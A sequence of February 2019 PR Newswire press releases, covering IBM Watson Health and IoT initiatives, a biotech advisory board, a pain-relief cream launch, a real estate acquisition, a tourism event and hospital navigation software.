Six Senses properties share a leadership commitment to community, sustainability, wellness and design, infused with a touch of quirkiness. Whether an exquisite island resort, mountain retreat or urban hotel, the enduring purpose is to help people reconnect with themselves, others and the world around them.

Six Senses Spas offers a wide range of holistic wellness, rejuvenation and beauty treatments administered under the guidance of expert therapists in all resorts as well as at 16 additional standalone spas. The high-tech and high-touch approach guides guests on their personal path to well-being, taking them as deep as they want to go.

Six Senses Residences provides the best life has to offer. From beautifully-appointed villas on the beach, rustic chalets in the mountains and spacious urban hideaways, Six Senses features a variety of residential choices in stand-alone buildings or attached to a resort or hotel. No matter the location, the promise remains to create a community where every day revolves around learning and growing, great food and drink, innovative wellness programming and sustainable living  all mixed in with a lot fun.



Evason follows the Six Senses philosophy of uncompromised responsibility to sustainability and the community. Its two unique resorts provide a strong value focus, while offering a vast array of personal guest experiences that the whole family will love.



SOURCE IHG (InterContinental Hotels Group)

Related Links

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SOUTH SAN FRANCISCO, Calif., Feb. 13, 2019 /PRNewswire/ -- IDEAYA Biosciences, Inc., an oncology-focused precision medicine company committed to the discovery and development of targeted therapeutics to treat cancer, announced the appointments of Frank McCormick, Ph.D., FRS, and William Sellers, M.D., to its Scientific Advisory Board.

Dr. McCormick is a Professor in the University of California, at San Francisco (UCSF), Helen Diller Family Comprehensive Cancer Center and holds the David A. Wood Chair of Tumor Biology and Cancer Research at UCSF. Prior to joining UCSF, Frank was Founder and Chief Scientific Officer at Onyx Pharmaceuticals, building on his earlier research and leadership experiences at Cetus and Chiron. At Onyx, he initiated and led drug discovery efforts that led to the approval of Sorafenib for treatment of renal cell cancer and liver cancer. Dr. McCormick has served as President of the American Association for Cancer Research (AACR) and has a leadership role at the Frederick National Lab for Cancer Research, overseeing an NCI supported national effort to develop therapies against Ras-driven cancers.

Dr. Sellers is a Core Institute Member of the Broad Institute of MIT and Harvard, a faculty member at Harvard Medical School and a faculty member and senior advisor to the president for experimental therapeutics at Dana-Farber Cancer Institute (DFCI). He previously served as Vice President and Global Head of Oncology at Novartis Institutes of BioMedical Research, where he led drug discovery efforts in oncology and pioneered cutting edge genetic and functional genomic approaches to therapeutic discovery. Among other achievements in his career, Dr. Seller's seminal work in the identification of EGFR mutations in lung cancer led to life-saving EGFR inhibitors as standard-of-care for lung cancer patients.

"IDEAYA's approach of integrating target and biomarker discovery with small molecule drug discovery are enabling potential therapeutics across three classes of precision medicine including direct targeting of oncogenic pathways, synthetic lethality and immuno-oncology," said Dr. McCormick. "Synthetic lethality represents an emerging class of precision medicine targets, and IDEAYA is well positioned to develop the next generation of synthetic lethality therapies beyond PARP, including programs that target DNA damage repair and tumor metabolism," said Dr. Sellers.

"Frank and Bill are both distinguished scientists, who have made substantial contributions to our understanding of cancer biology and the discovery of innovative cancer therapies," said Yujiro S. Hata, Chief Executive Officer and President at IDEAYA Biosciences. "We are thrilled to have them join our Scientific Advisory board and look forward to their contributions to IDEAYA across our pipeline of precision medicine programs."

About IDEAYA Biosciences

IDEAYA is an oncology-focused precision medicine company committed to the discovery and development of targeted therapeutics for patient populations selected using molecular diagnostics. Our approach integrates extensive capabilities in identifying and validating translational biomarkers with small molecule drug discovery to select patient populations most likely to benefit from our targeted therapies. We are applying these capabilities across three classes of precision medicine including direct targeting of oncogenic pathways, synthetic lethality  which represents an emerging class of precision medicine targets  and immuno-oncology. For additional information, please visit www.ideayabio.com.

SOURCE IDEAYA Biosciences, Inc.

Related Links

https://www.ideayabio.com

ARMONK, N.Y., Feb. 13, 2019 /PRNewswire/ -- IBM Watson Health (NYSE: IBM) today announced plans to make a 10-year, $50 million investment in research collaborations with two separate academic centers - Brigham and Women's Hospital, which is a teaching hospital of Harvard Medical School, and Vanderbilt University Medical Center - to advance the science of artificial intelligence (AI) and its application to major public health issues.

The scientific collaborations with each institution will focus on critical health problems that are ideally suited for AI solutions. Initial areas of study are expected to include the use of AI to improve the utility of electronic health records (EHRs)[1] and claims data[2] to address significant public health issues like patient safety[3], precision medicine[4] and health equity[5]. The research will also explore physician and patient user experience and interactions with AI technologies.

"Building on the MIT-IBM Watson Lab announced last year, this collaboration will include contributions from IBM Watson Health's longstanding commitment to scientific research and our belief that working together with the world's leading institutions is the fastest path to develop, advance, and understand practical solutions that solve some of the world's biggest health challenges," said Kyu Rhee, M.D., M.P.P., vice president and chief health officer at IBM Watson Health. "Today, for example, physicians are spending an average of two hours with their electronic health records and deskwork for every hour of patient care,[6] a phenomenon the American Medical Association says is leading to a steady increase in physician burnout.[7] AI is the most powerful technology we have today to tackle issues like this one, but there is still a great deal of work to be done to demystify the real role of AI in healthcare with practical, proven results and clear-cut best practices. By putting the full force of our clinical[8] and research team[9] together with two of the world's leading academic medical centers, we will dramatically accelerate the development of real-world AI solutions that improve workflow efficiencies and outcomes."

Drawing on the respective areas of expertise from each organization, the collaborations will be a joint effort among IBM Watson Health's newly appointed vice president and chief science officer, Gretchen Purcell Jackson, M.D., Ph.D., David Bates, M.D., M.S., chief of general internal medicine at Brigham and Women's Hospital, and professor of medicine at Harvard Medical School, Kevin Johnson, M.D., M.S., chair of the department of biomedical informatics at Vanderbilt University Medical Center, and Gordon Bernard, M.D., executive vice president for research, at Vanderbilt University Medical Center.

"IBM Watson Health has had a long history of leading in scientific research," said Jackson. "These collaborations give our scientists at IBM Watson Health the opportunity to work with some of the best health informatics researchers in the world to advance the field in the areas of artificial intelligence, clinical decision support, and implementation science. Medical data is expected to double every 73 days by 2020[10]. As a practicing surgeon, I often had to make critical decisions about children's lives without time to dig for information buried in electronic health records or sift through thousands of studies in the literature. Our collaborative research will unlock new insights that affect broad health stakeholders: from providers, payers, governments, and life science companies to ultimately the most important stakeholder, patients, and seek to improve health around the globe."

"We all know that the future of health belongs to AI but today health around the globe is siloed and not actionable, making timely insights difficult to obtain," explained Bates. "Through AI, we have an opportunity to do better, and our hope is to find new ways through science and partnerships with industry leaders like Watson Health to unlock the full potential of AI to improve the utility of the EHR and claims data to address major public health issues like patient safety."

Johnson added: "I have committed my career to using health information technologies to deliver precision medicine, promote health equity, and understand the human-machine interface and opportunities to improve public health. As the largest biomedical informatics department in the U.S., we have been a longstanding leader in understanding the role and potential of new technologies like AI. We are excited to work with a leader like IBM Watson Health and we look forward to expanding the relationship as Watson Health continues to grow."

For more information about the collaborations or the science behind AI in health, please visit the website. Interested parties can also find more information at the IBM Watson Health booth at the HIMSS conference located at booth # 6459.

About IBM Watson Health

Watson Health is a business unit of IBM that is dedicated to the development and implementation of cognitive and data-driven technologies to advance health. Watson Health technologies are tackling a wide range of the world's biggest health care challenges, including cancer, diabetes, drug discovery and more. Learn more.

About Vanderbilt University Medical Center

Vanderbilt University Medical Center (VUMC) is one of the nation's leading academic medical centers and is the largest comprehensive health system in Tennessee. Its core missions are the delivery of patient care, performing biomedical research and training future leaders in health care. VUMC is the recipient of top accolades by the National Academies, the Magnet Recognition Program, the Leapfrog Group, and has been named a Top Hospital by Truven Health Analytics 14 times. In 2018, U.S. News & World Report named VUMC to the 'Honor Roll' of the nation's top 20 hospitals with 10 nationally-ranked adult specialty programs. In 2018, U.S. News also named the Monroe Carell Jr. Children's Hospital at Vanderbilt among the nation's 'Best Children's Hospitals' with 10 out of 10 pediatric specialty programs nationally ranked. For more information and the latest news follow Vanderbilt Health on Facebook, LinkedIn, Twitter , and in the VUMC Reporter.



[1] American Medical Association and Electronic Medical Records: https://www.ama-assn.org/practice-management/digital/improving-electronic-health-records

[2] EMR + Claims data and the Longitudinal Health Record: https://www.ibm.com/blogs/watson-health/using-ehr-population-health-whats-missing/

[3] World Health Organization and Patient Safety: https://www.who.int/patientsafety/en/; Crossing the Quality Chasm: http://www.nationalacademies.org/hmd/Global/News%20Announcements/Crossing-the-Quality-Chasm-The-IOM-Health-Care-Quality-Initiative.aspx; Medical Errors are 3rd leading cause of death: https://www.cnbc.com/2018/02/22/medical-errors-third-leading-cause-of-death-in-america.html

[4] Centers for Disease Control and Precision Medicine: https://www.cdc.gov/features/precision-medicine/index.html; Precision Medicine in Cancer Treatment: https://www.cancer.gov/about-cancer/treatment/types/precision-medicine; Vanderbilt Precision Medicine Initiative: https://www.vumc.org/cpm/

[5] World Health Organization and Health Equity: https://www.who.int/topics/health_equity/en/, https://www.who.int/healthsystems/topics/equity/en/; American Public Health Association and Health Equity: https://www.apha.org/topics-and-issues/health-equity

[6] https://ehrintelligence.com/news/primary-care-doctors-spending-6-hours-daily-on-ehr-data-entry

[7] https://www.healthdatamanagement.com/news/ama-president-calls-for-end-to-electronic-health-record-abuse

[8] https://www.ibm.com/blogs/watson-health/do-doctors-fear-ai/

[9] https://www.ibm.com/blogs/watson-health/watson-health-get-facts/

[10] https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3116346/

Contact:

Rachel Hutman

[email protected]

SOURCE IBM Watson HealthSAN FRANCISCO, Feb. 13, 2019 /PRNewswire/ -- IBM Think -- IBM (NYSE: IBM) today announced major collaborations with Garmin Health, Guardhat, Mitsufuji and SmartCone to monitor worker safety in hazardous environments, including those working in construction, mining and factories, using IoT technologies, integrated into wearables. IBM's Maximo Worker Insights will monitor biometric and environmental data to help identify whether employees are experiencing dangers or risk. Data will be gathered in near real-time from wearables, smart devices and environmental sensors to help organizations quickly respond to problems or react to changing environmental conditions.

Today IBM announced collaborations with Garmin, Guardhat, Mitsufuji and SmartCone to help organizations monitor their workers safety with Watson IoT. Source: IBM Garmin vivosmart 4 Guardhat, this is no ordinary hard hat hamon-the highly connective AGposs fiber collects biometric data from the wearer. CEO, Jason Lee, shows just how portable theSmartCone can be. (Photo by Mark Holleron)

Employees working in rapidly changing environments face shifting conditions, whether on the factory floor, on the forklift, atop a cell tower or drilling into the earth. Utilizing IoT to understand what workers are doing in the context of the dynamic environment around them  including heat, height, weather and gas levels  allows organizations to implement near real-time and prescriptive safety practices to help protect the wellbeing of workers and which should help them maintain lower insurance costs.

For employees, this new offering monitors potential environmental threats to their safety and security as they work on the front lines. For employers, the solution is designed to help them identify and respond to potential hazards in an effort to keep their workforce safe. Nonfatal workplace injuries account for close to $60 billion in workers' compensation costs in the U.S. Although safety controls and personal protective equipment are mandatory in most hazardous jobs, this solution is designed to help companies to identify and respond to problems or react to changing environmental conditions. In fact, according to the Bureau of Labor Statistics, nearly 3 million nonfatal occupational injuries were recorded in 2017.

"Worker safety is a critical priority for all enterprises and this collaboration is a major milestone in dramatically improving the way enterprises identify and eliminate hazards in the workplace," said Kareem Yusuf Ph.D., general manager, IBM Watson IoT. "We are thrilled to work with Garmin, Guardhat, Mitsufuji and SmartCone, and leverage their respective leadership and commitment to help improve safety in the workplace," continued Dr. Yusuf.

"Garmin Health is excited to work with IBM Watson to modernize worker safety," said Travis Johnson, Global Product Lead, Garmin Health. "Combining the powerful analytic capabilities of the IBM Watson IoT solution with the high-quality sensor data and long battery life of Garmin devices creates a great solution for remotely monitoring workers with minimal user burden."

"The implementation of smart protective equipment allows us to better analyze workplace data and provide important safety insights in near real-time," said Saikat Dey, Guardhat Co-Founder and CEO. "By working with IBM, we are able to leverage Maximo Worker Insights to bring smart safety to scale in the construction, manufacturing and refining industries."

"IBM Maximo Worker Insights delivers the near real-time insight that our clients need to address the safety of their workers," said Ayumu Mitera, CEO, Mitsufuji. "We are excited to work with both IBM and our clients to develop the hamon solution further. We see IBM as a valuable member of our team, not only providing powerful Internet of Things technologies, but also helping us identify new market opportunities around the world."

"We are thrilled to work with a global leader such as IBM and integrate IBM Maximo Worker Insight technology into our platform," said Tenille Houston, VP Communications and Marketing, SmartCone. "With the ever-evolving workplace, SmartCones' comprehensive end-to-end solution combined with IBM's IoT technology and advanced analytics provides the optimal pairing to best meet industry needs."

Garmin Health Companion SDK

Garmin, a global leader in wearable technology, is teaming up with IBM to offer organizations who deploy the IBM Maximo Worker Insights platform to receive alerts based on near real-time sensor data from workers wearing Garmin activity trackers. By embedding the Garmin Health Companion SDK in the IBM Maximo Worker Insights platform, supervisors and safety officers can receive near real-time notifications for high heart rate and man down scenarios, as well as review historical analytics based on the biometric signals from Garmin wearables.

Guardhat and its smart hard hats

Guardhat's KYRA IoT platform integrates and complements the IBM Worker Insights solution to provide near real-time situational awareness to workers and company operations through the use of Smart PPE wearables. Companies can gain deeper understanding of the field situation and raise awareness in the organization, to determine best practices and methods for risk mitigation thereby managing or maintaining lower insurance costs.

Mitsufuji and its hamon wearable shirt

Mitsufuji, a wearable platformer in Japan, has launched a new wearable "shirt" called hamon to track IoT sensor data from worker's biometrics to help ensure safety and productivity in extreme environments. The hamon shirt, made from silver conductive fibers, collects a wearer's biometric data, including heart rate, body temperature and location, as well as environmental data such as humidity, temperature, noise and toxic gas levels, together with the use of IBM Maximo Worker Insights. By connecting to the IBM Maximo Worker Insights solution on the IBM Cloud, this data can be analyzed in near real-time, with alerts and alarms signaled on mobile devices to take a break, change locations, etc., before overexertion or injury occur.

SmartCone and its highly portable system

SmartCone, a provider of smart, IoT-based safety and monitoring solutions for securing vulnerable and hazardous zones, large and small, is working with IBM and integrating Maximo Worker Insights into its highly portable system to monitor worker safety in the utilities industry, community traffic, construction, mining and industrial environments with moving or dangerous no-go zones. Utilizing multi-sensors, audio/video, communication capabilities, computing and edge gateway capabilities, TheSmartCone system combines with IBM Maximo Worker Insights to provide supervisors and safety officers with near real-time notification and historical analytics on hazards related to falls, "man-downs," no-go zones, excessive temperatures and more.

About IBM Think

At Think 2019, IBM will outline new offerings, client engagements, partnerships, technology breakthroughs and developer tools that underscore how IBM and partners are changing the way the world works. For more information, visit the IBM Think 2019 Newsroom: https://newsroom.ibm.com/think . Follow the conference on Twitter at #think2019 and @ibmlive, and go to https://www.ibm.com/events/think/ for the full schedule and live streaming agenda.

Media Contacts:

Lowell Eschen Hanna Smigala IBM Media Relations IBM Media Relations 1-303-913-2569 1-203-512-5497 [email protected] [email protected]

SOURCE IBM

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Starting in Puerto Rico, IBM's new Code and Response deployment initiative will build, fortify, test, and implement open source technology solutions at scale to speed recovery in the wake of natural disasters

SAN FRANCISCO, Feb. 12, 2019 /PRNewswire/ -- Think 2019 -- IBM (NYSE: IBM) today announced Code and Response, a new $25 million, four-year deployment initiative to put open source technologies developed as part of coding challenges such as Call for Code in the communities where they are needed most. Code and Response includes resources to build, fortify, test, and implement solutions at scale. The initiative is supported by hundreds of IBMers as part of the IBM Corporate Service Corps, as well as government and NGO partners to put those technologies to work saving lives. A new partnership with the Clinton Global Initiative University will also help provide college-age developers with the skills and resources they need to turn their ideas into action. In its first year, Code and Response will pilot Project Owl, the winning solution from Call for Code 2018, in disaster-struck regions like Puerto Rico, North Carolina, Osaka, and Kerala.

Code and Response will include implementation partners such as the non-profit Information Technology Disaster Resource Center who will offer feedback on Project Owl's hardware and software configuration. The ITDRC will provide valuable guidance in Puerto Rico based on their extensive experience restoring network access on the island since hurricanes Irma and Maria.

"Generating ideas through challenges is not enough," said Bob Lord, IBM Senior Vice President, Cognitive Applications and Developer Ecosystems. "Every year natural disasters affect close to 160 million people worldwide. To take a huge leap forward in effective disaster response, we must tap into the global open source ecosystem to generate sustainable solutions we can scale and deploy in the field. But we cannot do it alone. It is only by working with venerable partners like the American Red Cross that we will see these technologies really come to life."

"The Red Cross is thrilled that IBM is continuing to dedicate resources to help those affected by natural disasters," said Gail McGovern, American Red Cross President and CEO. "Our organization is relying on inventors and innovative companies like IBM to advance the fight against natural disasters by fostering new ideas that will make a real difference in peoples' lives."

Following a highly successful first year when more than 100,000 developers submitted thousands of ideas for saving lives in the face of natural disasters, IBM Chairman, President and CEO Ginni Rometty announced Call for Code 2019, reaffirming the company's five-year, $30 million commitment to social impact coding challenges. The goal is once again to unite the world's 23 million developers and data scientists to unleash the power of cloud, AI, blockchain and IoT technologies to create sustainable and scalable open source technologies. The emphasis this year is on the health and well-being of individuals and communities threatened by natural disasters.

Call for Code Creator David Clark Cause and Founding Partner IBM will once again team with Charitable Partners United Nations Human Rights and American Red Cross, as well as The Linux Foundation on the Call for Code Challenge. In its second year, Call for Code welcomes new supporters Consumer Technology Association Foundation, Kaiser Permanente and Apttus, and continued support from Delta Air Lines, Johnson & Johnson, Persistent Systems and others. Call for Code is pleased to also receive continued support from the following additional open source foundations and their respective community members: the Cloud Foundry Foundation, the Cloud Native Computing Foundation, the Eclipse Foundation and the Node JS Foundation.

"We're overwhelmed by the success of Call for Code and applaud IBM and their Code and Response initiative," said David Clark, CEO of David Clark Cause. "Code and Response demonstrates IBM's commitment to impacting real change in people's lives by turning ideas into reality. We're proud to have IBM as the Founding Partner of Call for Code and excited to continue inspiring developers to create solutions to some of the world's most pressing challenges."

About IBM Think

At Think 2019, IBM will outline new offerings, client engagements, partnerships, technology breakthroughs and developer tools that underscore how IBM and partners are changing the way the world works. For more information, visit the IBM Think 2019 Newsroom: https://newsroom.ibm.com/think. Follow the conference on Twitter at #think2019 and @ibmlive, and go to https://www.ibm.com/events/think/ for the full schedule and live streaming agenda.

MEDIA CONTACTS

Sarah Storelli

IBM Developer Media Relations

559-970-3194

[email protected]

Mike Sefanov

IBM Developer Media Relations

650-281-8099

[email protected]

SOURCE IBM

Related Links

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Instaflex Pain Relief Cream is doctor-developed, clinically studied, and formulated with an exclusive, patented oxygenated oil that works fast and lasts for hours to relieve pain from conditions such as arthritis, back pain, strains, and joint and muscle pain. In a randomized, double-blind, controlled comparison study Instaflex Pain Relief Cream was shown to be nearly 100% more effective at relieving pain as a comparable menthol-only rub.

While athletes in Europe have been using oxygenated oil for years, it took Dr. Joseph Pergolizzi, a leading expert in pain medicine, to bring it to the U.S. and combine it with soothing menthol, creating the groundbreaking formula for Instaflex Pain Relief Cream. The oxygenated oil in Instaflex Pain Relief Cream is exclusiveyou won't find it in any other topical pain relief product on the market today.

"My view is that topical pain-relieving creams are very effective at controlling painand are a key part of my multimodal pain treatment plan for many of my patients," said Dr. Pergolizzi. "And unlike other pain relief creams, Instaflex contains less menthol because I favor a less-is-more philosophy when treating pain. The minimum effective dose of menthol in Instaflex Pain Relief Cream, combined with an exclusive, patented, non-GMO, European oxygenated oil, delivers maximum results while limiting any side effects and the distinctive odor that that can come with higher doses."

"Instaflex Pain Cream is a safe, effective option for people who are trying to reduce their pain while staying active, without the risks associated with over-the-counter pain pills," said Ben Teicher, President of Healthy Directions. "I am thrilled to be associated with the well-respected Instaflex brand to get this highly effective solution into the hands of more people who need it."

Instaflex Pain Relief Cream will be available through the Healthy Directions catalog and website, HealthyDirections.com, and a dedicated landing page, InstaflexCream.com.

"We are very happy to be adding this effective pain relief cream to the Instaflex product line," said Brandon Adcock, CEO and co-founder of Adaptive Health. "Instaflex Pain Relief cream is a good fit for the high standards of the brand. It is doctor-developed and provides an additional level of support for our customers."

About Healthy Directions: Healthy Directions LLC, a subsidiary of Adaptive Health LLC, is a leading health publisher and direct-to-consumer retailer of doctor-formulated nutritional supplements and skincare products, dedicated to providing people with a better path to better health. Healthy Directions provides expert guidance and advanced nutritional supplements from some of America's most knowledgeable and highly respected integrative- and alternative-health doctors including Julian Whitaker, MD; Dr. David Williams; Stephen Sinatra, MD; Aaron Tabor, MD; Drew Sinatra, ND; Richard Wurtman, MD; and Joseph Pergolizzi, Jr., MD. For more information, please visit HealthyDirections.com/About-Us

About Adaptive Health: Adaptive Health, LLC, formerly known as Direct Digital, LLC, is a leader in science-based product development with a full portfolio of scientifically formulated nutritional health brands, including Instaflex, Nugenix, Peptiva and Lumiday.

The company rebranded as Adaptive Health after its acquisition of Healthy Directions, LLC in December 2017. With Healthy Directions' vast product line and extensive board of medical advisors and doctors, it contributes to the company's longstanding commitment to science and innovation. Adaptive Health has since acquired Biovation Labs  a NSF certified manufacturing and fulfillment operation  in December 2018.

Adaptive Health has over 250 employees across offices in Charlotte, NC, Boston, MA, Salt Lake City, UT and Bethesda, MD. Its products are sold in many major retailers across North America and internationally, as well as via its innovative direct-to-consumer ecommerce platform. For more information, please visit www.AdaptiveHealth.com.

SOURCE Adaptive Health

Related Links

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NEW YORK, Feb. 13, 2019 /PRNewswire/ -- Harbor Group International, LLC ("HGI") and Paramount Group, Inc. (NYSE:PGRE) ("Paramount") today announced the establishment of a joint venture that has acquired 111 Sutter Street, a 293,000 square foot office building located in San Francisco's North Financial District, for $227 million or approximately $775 per square foot.

The LEED-certified property is approximately 70 percent leased primarily to technology, media, business services and not-for-profit tenants.

"Expanding to the San Francisco CBD office market is a strategic decision for Harbor Group International as we look to diversify our West Coast equity investments," said Richard Litton, President of Harbor Group International. "We are pleased to enter this strong and growing market with a very experienced and successful partner in Paramount." HGI already owns two office assets in Cupertino in the Silicon Valley.

Paramount currently holds an office portfolio of 2.9 million square feet in San Francisco that is 98 percent leased. Paramount will act as property manager for the building and oversee day-to-day operations.

"We plan to leverage our position as one of San Francisco's largest landlords to meaningfully increase the building's net operating income," stated Albert Behler, Chairman, Chief Executive Officer and President of Paramount Group. "In addition to the existing vacancy, approximately 50% of the currently occupied office space is scheduled to expire through 2021, providing us a tremendous opportunity to create value for our shareholders as we proactively manage and lease the asset."

HGI and Paramount have entered joint ventures in the past on debt investments.

About Harbor Group International

Harbor Group International (HGI) is a leading global real estate investment and management firm. With $9.0 billion in real estate investment properties, the firm invests in and manages diversified property portfolios including multifamily, office and retail properties. With over 33 years of experience in the industry and over 760 employees worldwide, HGI continues to look for real estate investment opportunities. For more information, please visit https://www.harborgroupint.com.

About Paramount Group, Inc.

Headquartered in New York City, Paramount Group, Inc. is a fully-integrated real estate investment trust that owns, operates, manages, acquires and redevelops high-quality, Class A office properties located in select central business district submarkets of New York City, Washington, D.C. and San Francisco. Paramount is focused on maximizing the value of its portfolio by leveraging the sought-after locations of its assets and its proven property management capabilities to attract and retain high-quality tenants.

Harbor Group Media Contact: Paramount Group Media Contact: Robert Klemens, Prosek Partners Jason Chudoba, ICR (646) 818-9009 (646) 277-1200 [email protected] [email protected]

SOURCE Harbor Group International, LLC

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LOS ANGELES, Feb. 13, 2019 /PRNewswire/ -- Hangzhou Municipal Bureau of Culture, Radio, TV and Tourism's long-awaited event - Hangzhou's Showtime - celebrated Lunar New Year from February 9th-10th, 2019, at Universal Studios Hollywood theme park in Southern California.

As the first city to jointly collaborate on Chinese Lunar New Year Festivities with Universal Studios Hollywood, Hangzhou hosted 'Hangzhou's Showtime', a festivity that conveyed the city's diversified character through a wide range of shows and activities for the prominent Chinese holiday and as a demonstration of the city's profound culture and history.

Hangzhou's Showtime was featured at three locations within the theme park. A Fair to Remember at West Lake invited guests to take selfies with the adorable Chinese classic fairytale couple - Xu Xian and Bai Suzhen.

Hangzhou Theatre combined the tranquility as well as the vitality of Hangzhou, entwined Hangzhou's astonishing culture with four grand performances of the East, and dazzled all the visitors at the theme park, culminating a festive Lunar New Year with a pastiche of Chinese musical numbers and opera performances.

A central highlight of the event was the Grand Canal Culture Club, with multiple calligraphy workshops and bamboo basket demonstrations taking place each day. Guests proudly shared their creations of Lunar New Year, and the top calligraphy participants got to take home a Hangzhou Bamboo Basket made by the master, Hong Liping.

The event was equally popular on Hangzhou's official Facebook page, as fans from around the world engaged with the event virtually.

Among all precious tourism resources, the commission proudly emphasized the prominent Liangzhu culture and the two UNESCO cultural heritage sites in Hangzhou - The Grand Canal and West Lake - to friends from around the globe. The event put fans in a time machine on a 5,000 year journey of Hangzhou, manifesting the rich tourism resources of Hangzhou online and offline.

SOURCE Hangzhou Municipal Bureau of Culture, Radio, TV and TourismEDISON, N.J., Feb. 13, 2019 /PRNewswire/ -- Hackensack Meridian Health, New Jersey's largest and most integrated health network, is pleased to announce it is partnering with Connexient, the health care leader in digital wayfinding and indoor GPS, to help patients and families better navigate the network's 17 hospitals.

"We are deeply committed to enhancing the experience of our patients and their families,'' said Robert C. Garrett, CEO of Hackensack Meridian Health. "We are constantly scanning the horizon for new technology to help us make care as convenient as possible for our patients.''

Connexient's MediNav App demonstrated at Hackensack University Medical Center Connexient's solution helps HMH patients and visitors find their way

Hackensack Meridian Health initially deployed Connexient's MediNav successfully at Hackensack University Medical Center and plans to launch the technology at Jersey Shore University Medical Center in March. Ultimately, it will be deployed at all network hospitals. Additionally, Connexient's MediNav will be integrated with Epic's MyChart within the HMH Well mobile application which gives users access to lab results, appointment information, current medications, immunization history and more on their mobile device.

MediNav provides the world's most advanced turn-by-turn indoor navigation with popular features like Parking Planner and Meet Me.

"By integrating indoor mapping and navigation with MyChart's appointment information, we are empowering patients to more easily find their way to their appointments,'' said Kunle Modupe, Vice President of Hospitality Services at Hackensack Meridian Health. "This will reduce late arrivals to appointments, and create a great patient experience

Following on these deployments of the MediNav technology, Hackensack Meridian Health will work in partnership with MediNav to create additional functionality by integrating Epic MyChart's appointment scheduling with MediNav's indoor GPS and location services. This collaboration will create a seamless, "home to appointment" experience for patients.

"Taking existing applications and combining them in a new and powerful way allows Hackensack Meridian Health to continue to leverage our technology solutions to further advance the patient experience throughout the health care process at Hackensack Meridian Health,'' said David Reis, Ph.D., Executive Vice President and Chief Information Officer at Hackensack Meridian Health.

"We are excited to partner with Hackensack Meridian Health to integrate Epic's MyChart and MediNav," added Mark Green, Connexient's CEO and Co-Founder. "HMH's vision and ability to execute will enable us to deliver value to patients and visitors as part of an overall digital consumer strategy."

ABOUT HACKENSACK MERIDIAN HEALTH

Hackensack Meridian Health is a leading not-for-profit health care organization that is the largest, most comprehensive and truly integrated health care network in New Jersey, offering a complete range of medical services, innovative research and life-enhancing care.

Hackensack Meridian Health comprises 17 hospitals from Bergen to Ocean counties, which includes three academic medical centers  Hackensack University Medical Center in Hackensack, Jersey Shore University Medical Center in Neptune, JFK Medical Center in Edison; two children's hospitals - Joseph M. Sanzari Children's Hospital in Hackensack, K. Hovnanian Children's Hospital in Neptune; nine community hospitals  Bayshore Medical Center in Holmdel, Mountainside Medical Center in Montclair, Ocean Medical Center in Brick, Palisades Medical Center in North Bergen, Pascack Valley Medical Center in Westwood, Raritan Bay Medical Center in Old Bridge, Raritan Bay Medical Center in Perth Amboy, Riverview Medical Center in Red Bank, and Southern Ocean Medical Center in Manahawkin; a behavioral health hospital  Carrier Clinic in Belle Mead; and two rehabilitation hospitals - JFK Johnson Rehabilitation Institute in Edison and Shore Rehabilitation Institute in Brick.

Additionally, the network has more than 500 patient care locations throughout the state which include ambulatory care centers, surgery centers, home health services, long-term care and assisted living communities, ambulance services, lifesaving air medical transportation, fitness and wellness centers, rehabilitation centers, urgent care centers and physician practice locations. Hackensack Meridian Health has more than 34,100 team members, and 6,500 physicians and is a distinguished leader in health care philanthropy, committed to the health and well-being of the communities it serves.

The network's notable distinctions include having four hospitals among the top 10 in New Jersey by U.S. News and World Report. Other honors include consistently achieving Magnet recognition for nursing excellence from the American Nurses Credentialing Center and being named to Becker's Healthcare's "150 Top Places to Work in Healthcare/2018" list.

The Hackensack Meridian School of Medicine at Seton Hall University, the first private medical school in New Jersey in more than 50 years, welcomed its first class of students in 2018 to its On3 campus in Nutley and Clifton. Additionally, the network partnered with Memorial Sloan Kettering Cancer Center to find more cures for cancer faster while ensuring that patients have access to the highest quality, most individualized cancer care when and where they need it.

Hackensack Meridian Health is a member of AllSpire Health Partners, an interstate consortium of leading health systems, to focus on the sharing of best practices in clinical care and achieving efficiencies.

For additional information, please visit www.HackensackMeridianHealth.org.

About Connexient:

Connexient (www.connexient.com) provides innovative Indoor Mapping, Navigation and Location-based Services hospitals and healthcare networks with large, complex buildings and campuses. The MediNavTM Navigator Edition Patient Experience solution helps to increase customer satisfaction and loyalty, reduce missed or late appointments and improve HCAHPS scores.

More than just a mobile app, Connexient's mission and vision is to navigation-enable Enterprise IT. The Connexient Mobile Application SDKs and Web APIs enable its clients to integrate its rich, navigation quality indoor maps and location-based services across Enterprise IT in areas such as asset tracking, staff and patient flow, facility management, safety and security and more, with use cases that bring compelling value to users and direct ROI in capturing lost revenue, reducing costs and increasing operational efficiency and intelligence.

MEDIA CONTACT:

Sarah Stabile

[email protected]

646.453.9453

SOURCE Connexient

Related Links

http://www.connexient.com

CHICAGO, Feb. 13, 2019 /PRNewswire/ -- Technomic and the Global Supply Chain Summit announced today that they would be partnering to further the aims of the summit and its members.

The Global Supply Chain Summit is a group of like-minded restaurant executives focused on managing the global supply chain for their respective organizations. The group maintains a goal of creating an environment of open collaboration and discussion, where executives can learn from others that operate in the same niche part of the global restaurant industry.

The Global Supply Chain Summit has chosen to partner with Technomic to further enhance the content of its meetings with research and presentations, as well as manage the logistics and operations of each meeting. The group plans on meeting a minimum of two times per year in coordination with other high-profile restaurant industry events, such as Winsight's Restaurant Leadership Conference and the National Restaurant Association Show.

While the group remains an invite-only group for restaurant executives, limited sponsorship opportunities for key restaurant suppliers will be available.

"The members of the Global Supply Chain Summit are leaders within their organizations and face similar challenges in executing on a global stage. We're delighted to have the opportunity to work with these operators and provide a forum where they can openly discuss challenges and exchange practical solutions," said David Henkes, senior principal at Technomic.

"This partnership represents a wonderful opportunity for the summit to not only elevate the content of our meetings for our members but also leverage the operational know-how that Technomic and Winsight bring to the table," said Mike Walpole, chairman, at the Global Supply Chain Summit. "We are really looking forward to working with the Technomic team to bring this program to the next level."

Contacts:

Press inquiries and program details: David Henkes, (312) 506-3927, [email protected]

Sponsorship details: Mark Wesoloskie, (312) 506-3923, [email protected]

About Technomic

Technomic, Inc., a Winsight company, was founded as a management consulting firm in 1966. Since then, Technomic's services have grown to encompass cloud-based B2B research tools, consumer and menu trend tracking, as well as other leading strategic research and analytic capabilities, to prioritize and size business opportunities. Our clients include food manufacturers and distributors, restaurants, retailers and multiple other business verticals aligned with the food industry that are looking to make informed decisions to support their business growth. Visit Technomic at www.technomic.com.

SOURCE Technomic

Related Links

http://www.technomic.com

